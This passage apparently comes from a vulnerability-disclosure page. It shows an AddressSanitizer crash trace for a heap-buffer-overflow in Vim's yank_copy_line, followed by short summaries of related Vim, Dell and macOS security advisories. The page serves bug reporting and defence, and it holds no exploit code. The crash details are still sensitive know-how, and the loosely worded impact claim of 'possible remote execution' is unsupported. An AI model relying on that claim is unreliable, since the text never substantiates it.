#21 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#22 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#23 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#24 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#25 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#26 0x7fc84b9c50b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/presler/fuzzing/vim_sanitized/src/register.c:1477:9 in yank_copy_line
Shadow bytes around the buggy address:
0x0c047fff8df0: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8e00: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fff8e10: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fff8e20: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8e30: fa fa fd fd fa fa fd fa fa fa 01 fa fa fa 00 00
=>0x0c047fff8e40: fa fa 01 fa fa[fa]02 fa fa fa 05 fa fa fa fd fa
0x0c047fff8e50: fa fa 02 fa fa fa 02 fa fa fa 00 fa fa fa 02 fa
0x0c047fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8e70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1937==ABORTING
Impact
This vulnerabilities are capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution
Related news
Ubuntu Security Notice USN-6026-1
Ubuntu Security Notice 6026-1 - It was discovered that Vim was incorrectly processing Vim buffers. An attacker could possibly use this issue to perform illegal memory access and expose sensitive information. This issue only affected Ubuntu 20.04 LTS. It was discovered that Vim was using freed memory when dealing with regular expressions inside a visual selection. If a user were tricked into opening a specially crafted file, an attacker could crash the application, leading to a denial of service, or possibly achieve code execution with user privileges. This issue only affected Ubuntu 14.04 ESM, Ubuntu 18.04 LTS and Ubuntu 20.04 LTS.
CVE-2023-28069: DSA-2022-258: Dell Streaming Data Platform Security Update for Multiple Third-Party Component Vulnerabilities
Dell Streaming Data Platform prior to 1.4 contains Open Redirect vulnerability. An attacker with privileges same as a legitimate user can phish the legitimate the user to redirect to malicious website leading to information disclosure and launch of phishing attacks.
CVE-2022-46756: DSA-2022-335: Dell VxRail Security Update for Multiple Third-Party Component Vulnerabilities
Dell VxRail, versions prior to 7.0.410, contain a Container Escape Vulnerability. A local high-privileged attacker could potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the container's underlying OS. Exploitation may lead to a system take over by an attacker.
Scanvus now supports Vulners and Vulns.io VM Linux vulnerability detection APIs
Hello everyone! Great news for my open source Scanvus project! You can now perform vulnerability checks on Linux hosts and docker images not only using the Vulners.com API, but also with the Vulns.io VM API. It’s especially nice that all the code to support the new API was written and contributed by colleagues from Vulns.io. […]
CVE-2022-26730: About the security content of macOS Ventura 13
A memory corruption issue existed in the processing of ICC profiles. This issue was addressed with improved input validation. This issue is fixed in macOS Ventura 13. Processing a maliciously crafted image may lead to arbitrary code execution.
Gentoo Linux Security Advisory 202208-32
Gentoo Linux Security Advisory 202208-32 - Multiple vulnerabilities have been discovered in Vim, the worst of which could result in denial of service. Versions less than 9.0.0060 are affected.
Ubuntu Security Notice USN-5458-1
Ubuntu Security Notice 5458-1 - It was discovered that Vim was incorrectly handling virtual column position operations, which could result in an out-of-bounds read. An attacker could possibly use this issue to expose sensitive information. It was discovered that Vim was not properly performing bounds checks when updating windows present on a screen, which could result in a heap buffer overflow. An attacker could possibly use this issue to cause a denial of service or execute arbitrary code.